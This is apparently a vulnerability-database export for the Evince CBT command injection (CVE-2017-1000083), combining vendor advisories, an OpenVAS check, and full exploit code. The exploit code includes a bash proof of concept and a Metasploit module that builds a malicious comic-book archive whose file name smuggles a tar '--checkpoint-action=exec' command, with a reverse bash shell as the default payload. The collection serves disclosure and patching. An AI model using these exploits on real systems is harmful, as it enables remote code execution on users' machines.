"http://lists.opensuse.org/opensuse-security-announce/2017-12/msg00089.html", "id": "SUSE-SU-2017:3428-1", "type": "suse", "title": "Security update for evince (important)", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-12-23T16:05:40", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issues:\n\n Security issue fixed:\n\n - CVE-2017-1000083: Remove support for tar and tar-like commands in comics\n backend (bsc#1046856).\n\n This update was imported from the SUSE:SLE-12-SP2:Update update project.\n\n", "edition": 1, "modified": "2017-12-23T12:07:34", "published": "2017-12-23T12:07:34", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-12/msg00090.html", "id": "OPENSUSE-SU-2017:3431-1", "type": "suse", "title": "Security update for evince (important)", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-09-09T09:57:39", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issue:\n\n - CVE-2017-1000083: Remote attackers could have used the comicbook mode of\n evince to inject shell code (bsc#1046856).\n\n", "edition": 1, "modified": "2017-09-08T18:30:34", "published": "2017-09-08T18:30:34", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-09/msg00018.html", "id": "SUSE-SU-2017:2390-1", "title": "Security update for evince (important)", "type": "suse", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-24T16:49:02", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issues:\n\n - CVE-2017-1000083: Remote attackers could have used the comicbook mode of\n evince to inject shell code. (bsc#1046856, bgo#784630)\n\n This update was imported from the SUSE:SLE-12-SP2:Update update project.\n\n", "edition": 1, "modified": "2017-07-24T15:12:23", "published": "2017-07-24T15:12:23", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-07/msg00045.html", "id": "OPENSUSE-SU-2017:1933-1", "title": "Security update for evince (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-07-18T20:52:28", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issues:\n\n - CVE-2017-1000083: Remote attackers could have used the comicbook mode of\n evince to inject shell code. (bsc#1046856, bgo#784630)\n\n", "edition": 1, "modified": "2017-07-18T18:13:08", "published": "2017-07-18T18:13:08", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-07/msg00027.html", "id": "SUSE-SU-2017:1894-1", "title": "Security update for evince (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}], "fedora": [{"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Evince is simple multi-page document viewer. It can display and print Portable Document Format (PDF), PostScript (PS) and Encapsulated PostScript (EPS) files. When supported by the document format, evince allows searching for text, copying text to the clipboard, hypertext navigation, table-of-contents bookmarks and editing of forms. Support for other document formats such as DVI and DJVU can be added by installing additional backends. ", "modified": "2017-07-15T19:56:08", "published": "2017-07-15T19:56:08", "id": "FEDORA:9B68F60491A1", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 25 Update: evince-3.22.1-5.fc25", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Evince is simple multi-page document viewer. It can display and print Portable Document Format (PDF), PostScript (PS) and Encapsulated PostScript (EPS) files. When supported by the document format, evince allows searching for text, copying text to the clipboard, hypertext navigation, table-of-contents bookmarks and editing of forms. Support for other document formats such as DVI and DJVU can be added by installing additional backends. ", "modified": "2017-08-03T18:48:55", "published": "2017-08-03T18:48:55", "id": "FEDORA:959B364B79DD", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update: evince-3.20.1-3.fc24", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Evince is simple multi-page document viewer. It can display and print Portable Document Format (PDF), PostScript (PS) and Encapsulated PostScript (EPS) files. When supported by the document format, evince allows searching for text, copying text to the clipboard, hypertext navigation, table-of-contents bookmarks and editing of forms. Support for other document formats such as DVI and DJVU can be added by installing additional backends. ", "modified": "2017-07-14T13:26:47", "published": "2017-07-14T13:26:47", "id": "FEDORA:03A2C60AA766", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 26 Update: evince-3.24.0-3.fc26", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:14", "description": "\nEvince 3.24.0 - Command Injection", "edition": 1, "published": "2018-11-13T00:00:00", "title": "Evince 3.24.0 - Command Injection", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2018-11-13T00:00:00", "id": "EXPLOITPACK:DDBF02E89136D2BA064159447FFEA189", "href": "", "sourceData": "# Exploit Title: evince command line injection\n# Date: 2017-09-05\n# Exploit Author: Matlink\n# Vendor Homepage: https://wiki.gnome.org/Apps/Evince\n# Software Link: https://wiki.gnome.org/Apps/Evince\n# Version: 3.24.0\n# Tested on: Debian sid\n# CVE : CVE-2017-1000083\n\nCan be tested on docker with https://github.com/matlink/evince-cve-2017-1000083\n\n#! /bin/bash\n\n# define the payload\nexport PAYLOAD=\"firefox google.com\"\n\n# Create the malicious .cbt file\ndd if=/dev/zero of=\" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg\" bs=1 count=512000\ntar cvf poc.cbt *.jpg\n\n# Run the malicious file\nevince poc.cbt", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2019-02-11T15:20:31", "description": "", "published": "2019-02-11T00:00:00", "type": "exploitdb", "title": "Evince - CBT File Command Injection (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2019-02-11T00:00:00", "id": "EDB-ID:46341", "href": "https://www.exploit-db.com/exploits/46341", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'rex/zip'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::FILEFORMAT\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Evince CBT File Command Injection',\r\n 'Description' => %q{\r\n This module exploits a command injection vulnerability in Evince\r\n before version 3.24.1 when opening comic book `.cbt` files.\r\n\r\n Some file manager software, such as Nautilus and Atril, may allow\r\n automatic exploitation without user interaction due to thumbnailer\r\n preview functionality.\r\n\r\n Note that limited space is available for the payload (<256 bytes).\r\n Reverse Bash and Reverse Netcat payloads should be sufficiently small.\r\n\r\n This module has been tested successfully on evince versions:\r\n\r\n 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;\r\n 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Felix Wilhelm', # Discovery\r\n 'Sebastian Krahmer', # PoC\r\n 'Matlink', # Exploit\r\n 'bcoles' # Metasploit\r\n ],\r\n 'References' =>\r\n [\r\n ['BID', '99597'],\r\n ['CVE', '2017-1000083'],\r\n ['EDB', '45824'],\r\n ['URL', 'https://seclists.org/oss-sec/2017/q3/128'],\r\n ['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],\r\n ['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],\r\n ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],\r\n ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],\r\n ['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],\r\n ['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']\r\n ],\r\n 'Platform' => 'unix',\r\n 'Arch' => ARCH_CMD,\r\n 'Payload' =>\r\n {\r\n 'Space' => 215,\r\n 'BadChars' => \"\\x00\\x0a\\x0d\\x22\",\r\n 'DisableNops' => true\r\n },\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'cmd/unix/reverse_bash',\r\n 'DisablePayloadHandler' => true\r\n },\r\n 'Targets' => [[ 'Automatic', {}]],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => '2017-07-13',\r\n 'DefaultTarget' => 0))\r\n register_options([\r\n OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])\r\n ])\r\n end\r\n\r\n def exploit\r\n ext = %w[png jpg gif]\r\n path = \" --checkpoint-action=exec=bash -c \\\"#{payload.encoded};\\\".#{ext.sample}\"\r\n\r\n # Tar archive max path length is 256.\r\n if path.length > 256\r\n fail_with Failure::PayloadFailed, \"Payload is too large (#{path.length}): Max path length is 256 characters\"\r\n end\r\n\r\n # Tar archive max file name length is 100.\r\n path.split('/').each do |fname|\r\n if fname.length > 100\r\n fail_with Failure::PayloadFailed, \"File name too long (#{fname.length}): Max filename length is 100 characters\"\r\n end\r\n end\r\n\r\n # Create malicious tar archive\r\n tarfile = StringIO.new\r\n Rex::Tar::Writer.new tarfile do |tar|\r\n tar.add_file path, 0644 do |io|\r\n io.write ''\r\n end\r\n # Pad file to 1+ MB to trigger tar checkpoint action\r\n tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|\r\n io.write rand_text(1_000_000..1_100_000)\r\n end\r\n end\r\n tarfile.rewind\r\n cbt = tarfile.read\r\n\r\n print_status \"Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ...\"\r\n file_create cbt\r\n end\r\nend", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/46341"}, {"lastseen": "2018-11-30T12:31:25", "description": "", "published": "2018-11-13T00:00:00", "type": "exploitdb", "title": "Evince 3.24.0 - Command Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2018-11-13T00:00:00", "id": "EDB-ID:45824", "href": "https://www.exploit-db.com/exploits/45824", "sourceData": "# Exploit Title: evince command line injection\r\n# Date: 2017-09-05\r\n# Exploit Author: Matlink\r\n# Vendor Homepage: https://wiki.gnome.org/Apps/Evince\r\n# Software Link: https://wiki.gnome.org/Apps/Evince\r\n# Version: 3.24.0\r\n# Tested on: Debian sid\r\n# CVE : CVE-2017-1000083\r\n\r\nCan be tested on docker with https://github.com/matlink/evince-cve-2017-1000083\r\n\r\n#! /bin/bash\r\n\r\n# define the payload\r\nexport PAYLOAD=\"firefox google.com\"\r\n\r\n# Create the malicious .cbt file\r\ndd if=/dev/zero of=\" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg\" bs=1 count=512000\r\ntar cvf poc.cbt *.jpg\r\n\r\n# Run the malicious file\r\nevince poc.cbt", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/45824"}], "packetstorm": [{"lastseen": "2018-11-14T02:15:01", "description": "", "published": "2018-11-13T00:00:00", "type": "packetstorm", "title": "Evince 3.24.0 Command Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2018-11-13T00:00:00", "id": "PACKETSTORM:150305", "href": "https://packetstormsecurity.com/files/150305/Evince-3.24.0-Command-Injection.html", "sourceData": "`# Exploit Title: evince command line injection \n# Date: 2017-09-05 \n# Exploit Author: Matlink \n# Vendor Homepage: https://wiki.gnome.org/Apps/Evince \n# Software Link: https://wiki.gnome.org/Apps/Evince \n# Version: 3.24.0 \n# Tested on: Debian sid \n# CVE : CVE-2017-1000083 \n \nCan be tested on docker with https://github.com/matlink/evince-cve-2017-1000083 \n \n#! /bin/bash \n \n# define the payload \nexport PAYLOAD=\"firefox google.com\" \n \n# Create the malicious .cbt file \ndd if=/dev/zero of=\" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg\" bs=1 count=512000 \ntar cvf poc.cbt *.jpg \n \n# Run the malicious file \nevince poc.cbt \n \n \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/150305/evince3240-exec.txt"}, {"lastseen": "2019-02-08T10:50:09", "description": "", "published": "2019-02-07T00:00:00", "type": "packetstorm", "title": "Evince CBT File Command Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2019-02-07T00:00:00", "id": "PACKETSTORM:151572", "href": "https://packetstormsecurity.com/files/151572/Evince-CBT-File-Command-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'rex/zip' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::FILEFORMAT \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Evince CBT File Command Injection', \n'Description' => %q{ \nThis module exploits a command injection vulnerability in Evince \nbefore version 3.24.1 when opening comic book `.cbt` files. \n \nSome file manager software, such as Nautilus and Atril, may allow \nautomatic exploitation without user interaction due to thumbnailer \npreview functionality. \n \nNote that limited space is available for the payload (<256 bytes). \nReverse Bash and Reverse Netcat payloads should be sufficiently small. \n \nThis module has been tested successfully on evince versions: \n \n3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; \n3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Felix Wilhelm', # Discovery \n'Sebastian Krahmer', # PoC \n'Matlink', # Exploit \n'bcoles' # Metasploit \n], \n'References' => \n[ \n['BID', '99597'], \n['CVE', '2017-1000083'], \n['EDB', '45824'], \n['URL', 'https://seclists.org/oss-sec/2017/q3/128'], \n['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'], \n['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'], \n['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'], \n['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'], \n['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'], \n['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083'] \n], \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Payload' => \n{ \n'Space' => 215, \n'BadChars' => \"\\x00\\x0a\\x0d\\x22\", \n'DisableNops' => true \n}, \n'DefaultOptions' => \n{ \n'PAYLOAD' => 'cmd/unix/reverse_bash', \n'DisablePayloadHandler' => true \n}, \n'Targets' => [[ 'Automatic', {}]], \n'Privileged' => false, \n'DisclosureDate' => '2017-07-13', \n'DefaultTarget' => 0)) \nregister_options([ \nOptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt']) \n]) \nend \n \ndef exploit \next = %w[png jpg gif] \npath = \" --checkpoint-action=exec=bash -c \\\"#{payload.encoded};\\\".#{ext.sample}\" \n \n# Tar archive max path length is 256. \nif path.length > 256 \nfail_with Failure::PayloadFailed, \"Payload is too large (#{path.length}): Max path length is 256 characters\" \nend \n \n# Tar archive max file name length is 100. \npath.split('/').each do |fname| \nif fname.length > 100 \nfail_with Failure::PayloadFailed, \"File name too long (#{fname.length}): Max filename length is 100 characters\" \nend \nend \n \n# Create malicious tar archive \ntarfile = StringIO.new \nRex::Tar::Writer.new tarfile do |tar| \ntar.add_file path, 0644 do |io| \nio.write '' \nend \n# Pad file to 1+ MB to trigger tar checkpoint action \ntar.add_file rand_text_alphanumeric(10..20), 0644 do |io| \nio.write rand_text(1_000_000..1_100_000) \nend \nend \ntarfile.rewind \ncbt = tarfile.read \n \nprint_status \"Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ...\" \nfile_create cbt \nend \nend \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/151572/evince_cbt_cmd_injection.rb.txt"}], "oraclelinux": [{"lastseen": "2020-10-22T17:06:26", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "[3.22.1-5.2]\n- Related: #1469528 ensure .desktop file is still valid\n[3.22.1-5.1]\n+ Fix arbitrary code execution via filename in tar-compressed\n comics archive\n- Resolves: #1469528", "edition": 6, "modified": "2017-08-09T00:00:00", "published": "2017-08-09T00:00:00", "id": "ELSA-2017-2388", "href": "http://linux.oracle.com/errata/ELSA-2017-2388.html", "title": "evince security update", "type": "oraclelinux", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "centos": [{"lastseen": "2019-12-20T18:27:24", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "**CentOS Errata and Security Advisory** CESA-2017:2388\n\n\nThe evince packages provide a simple multi-page document viewer for Portable Document Format (PDF), PostScript (PS), Encapsulated PostScript (EPS) files, and, with additional back-ends, also the Device Independent File format (DVI) files.\n\nSecurity Fix(es):\n\n* It was found that evince did not properly sanitize the command line which is run to untar Comic Book Tar (CBT) files, thereby allowing command injection. A specially crafted CBT file, when opened by evince or evince-thumbnailer, could execute arbitrary commands in the context of the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for reporting this issue.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-cr-announce/2017-August/004654.html\n\n**Affected packages:**\nevince\nevince-browser-plugin\nevince-devel\nevince-dvi\nevince-libs\nevince-nautilus\n\n**Upstream details at:**\n", "edition": 3, "modified": "2017-08-24T09:43:46", "published": "2017-08-24T09:43:46", "href": "http://lists.centos.org/pipermail/centos-cr-announce/2017-August/004654.html", "id": "CESA-2017:2388", "title": "evince security update", "type": "centos", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2020-07-02T11:40:18", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Felix Wilhelm discovered that Evince did not safely invoke tar when \nhandling tar comic book (cbt) files. An attacker could use this to \nconstruct a malicious cbt comic book format file that, when opened \nin Evince, executes arbitrary code. Please note that this update \ndisables support for cbt files in Evince.", "edition": 5, "modified": "2017-07-13T00:00:00", "published": "2017-07-13T00:00:00", "id": "USN-3351-1", "href": "https://ubuntu.com/security/notices/USN-3351-1", "title": "Evince vulnerability", "type": "ubuntu", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-08-13T18:45:55", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "The evince packages provide a simple multi-page document viewer for Portable Document Format (PDF), PostScript (PS), Encapsulated PostScript (EPS) files, and, with additional back-ends, also the Device Independent File format (DVI) files.\n\nSecurity Fix(es):\n\n* It was found that evince did not properly sanitize the command line which is run to untar Comic Book Tar (CBT) files, thereby allowing command injection. A specially crafted CBT file, when opened by evince or evince-thumbnailer, could execute arbitrary commands in the context of the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for reporting this issue.", "modified": "2018-04-12T03:32:55", "published": "2017-08-01T18:35:11", "id": "RHSA-2017:2388", "href": "https://access.redhat.com/errata/RHSA-2017:2388", "type": "redhat", "title": "(RHSA-2017:2388) Important: evince security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "freebsd": [{"lastseen": "2019-05-29T18:32:12", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "\nGNOME reports:\n\nThe comic book backend in evince 3.24.0 (and earlier) is vulnerable to a command injection bug that can be used to execute arbitrary commands when a CBT file is opened.\nThe same vulnerability affects atril, the Evince fork.\n\n", "edition": 7, "modified": "2017-07-06T00:00:00", "published": "2017-07-06T00:00:00", "id": "01A197CA-67F1-11E7-A266-28924A333806", "href": "https://vuxml.freebsd.org/freebsd/01a197ca-67f1-11e7-a266-28924a333806.html", "title": "evince and atril -- command injection vulnerability in CBT handler", "type": "freebsd", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "archlinux": [{"lastseen": "2020-09-22T18:36:43", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Arch Linux Security Advisory ASA-201707-14\n==========================================\n\nSeverity: Critical\nDate : 2017-07-14\nCVE-ID : CVE-2017-1000083\nPackage : evince\nType : arbitrary command execution\nRemote : Yes\nLink : https://security.archlinux.org/AVG-348\n\nSummary\n=======\n\nThe package evince before version 3.24.0+12+g717df38f-1 is vulnerable\nto arbitrary command execution.\n\nResolution\n==========\n\nUpgrade to 3.24.0+12+g717df38f-1.\n\n# pacman -Syu \"evince>=3.24.0+12+g717df38f-1\"\n\nThe problem has been fixed upstream but no release is available yet.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\nThe comic book backend in evince <= 3.24.0 is vulnerable to a command\ninjection bug that can be used to execute arbitrary commands when a cbt\nfile is opened.\nCBT files are simple tar archives containing images. When a cbt file is\nprocessed, evince calls \"tar -xOf $archive $filename\" for every image\nfile in the archive. While both the archive name and the filename are\nquoted to not be interpreted by the shell, the filename is completely\nattacker controlled an can start with \"--\" which leads to tar\ninterpreting it as a command line flag. This can be exploited by\ncreating a tar archive with an embedded file named something like this:\n\"--checkpoint-action=exec=bash -c 'touch ~/covfefe.evince;'.jpg\"\nThis can presumably be triggered by the evince thumbnailer, which is\nnot sandboxed, and web browsers that allow untrusted websites to auto-\ndownloading files without user interaction (Chrome, Epiphany) can\ntrigger the thumbnailer to run so this is web exposed.\n\nImpact\n======\n\nA remote attacker can execute arbitrary command on the affected host by\nconvincing the user to download a crafted CBT file.\n\nReferences\n==========\n\nhttps://bugzilla.gnome.org/show_bug.cgi?id=784630\nhttps://git.gnome.org/browse/evince/commit/?h=gnome-3-24&id=717df38fd8509bf883b70d680c9b1b3cf36732ee\nhttps://security.archlinux.org/CVE-2017-1000083", "modified": "2017-07-14T00:00:00", "published": "2017-07-14T00:00:00", "id": "ASA-201707-14", "href": "https://security.archlinux.org/ASA-201707-14", "type": "archlinux", "title": "[ASA-201707-14] evince: arbitrary command execution", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-01-31T18:26:51", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2017-12-24T00:00:00", "id": "OPENVAS:1361412562310851670", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851670", "type": "openvas", "title": "openSUSE: Security Advisory for evince (openSUSE-SU-2017:3431-1)", "sourceData": "# Copyright (C) 2017 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.851670\");\n script_version(\"2020-01-31T08:23:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:23:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2017-12-24 07:48:01 +0100 (Sun, 24 Dec 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"openSUSE: Security Advisory for evince (openSUSE-SU-2017:3431-1)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for evince fixes the following issues:\n\n Security issue fixed:\n\n - CVE-2017-1000083: Remove support for tar and tar-like commands in comics\n backend (bsc#1046856).\n\n This update was imported from the SUSE:SLE-12-SP2:Update update project.\");\n\n script_tag(name:\"affected\", value:\"evince on openSUSE Leap 42.3, openSUSE Leap 42.2\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2017:3431-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2017-12/msg00090.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=(openSUSELeap42\\.2|openSUSELeap42\\.3)\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap42.2\") {\n if(!isnull(res = isrpmvuln(pkg:\"evince-lang\", rpm:\"evince-lang~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin\", rpm:\"evince-browser-plugin~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin-debuginfo\", rpm:\"evince-browser-plugin-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debuginfo\", rpm:\"evince-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debugsource\", rpm:\"evince-debugsource~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-devel\", rpm:\"evince-devel~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument\", rpm:\"evince-plugin-comicsdocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument-debuginfo\", rpm:\"evince-plugin-comicsdocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument\", rpm:\"evince-plugin-djvudocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument-debuginfo\", rpm:\"evince-plugin-djvudocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument\", rpm:\"evince-plugin-dvidocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument-debuginfo\", rpm:\"evince-plugin-dvidocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument\", rpm:\"evince-plugin-pdfdocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument-debuginfo\", rpm:\"evince-plugin-pdfdocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument\", rpm:\"evince-plugin-psdocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n 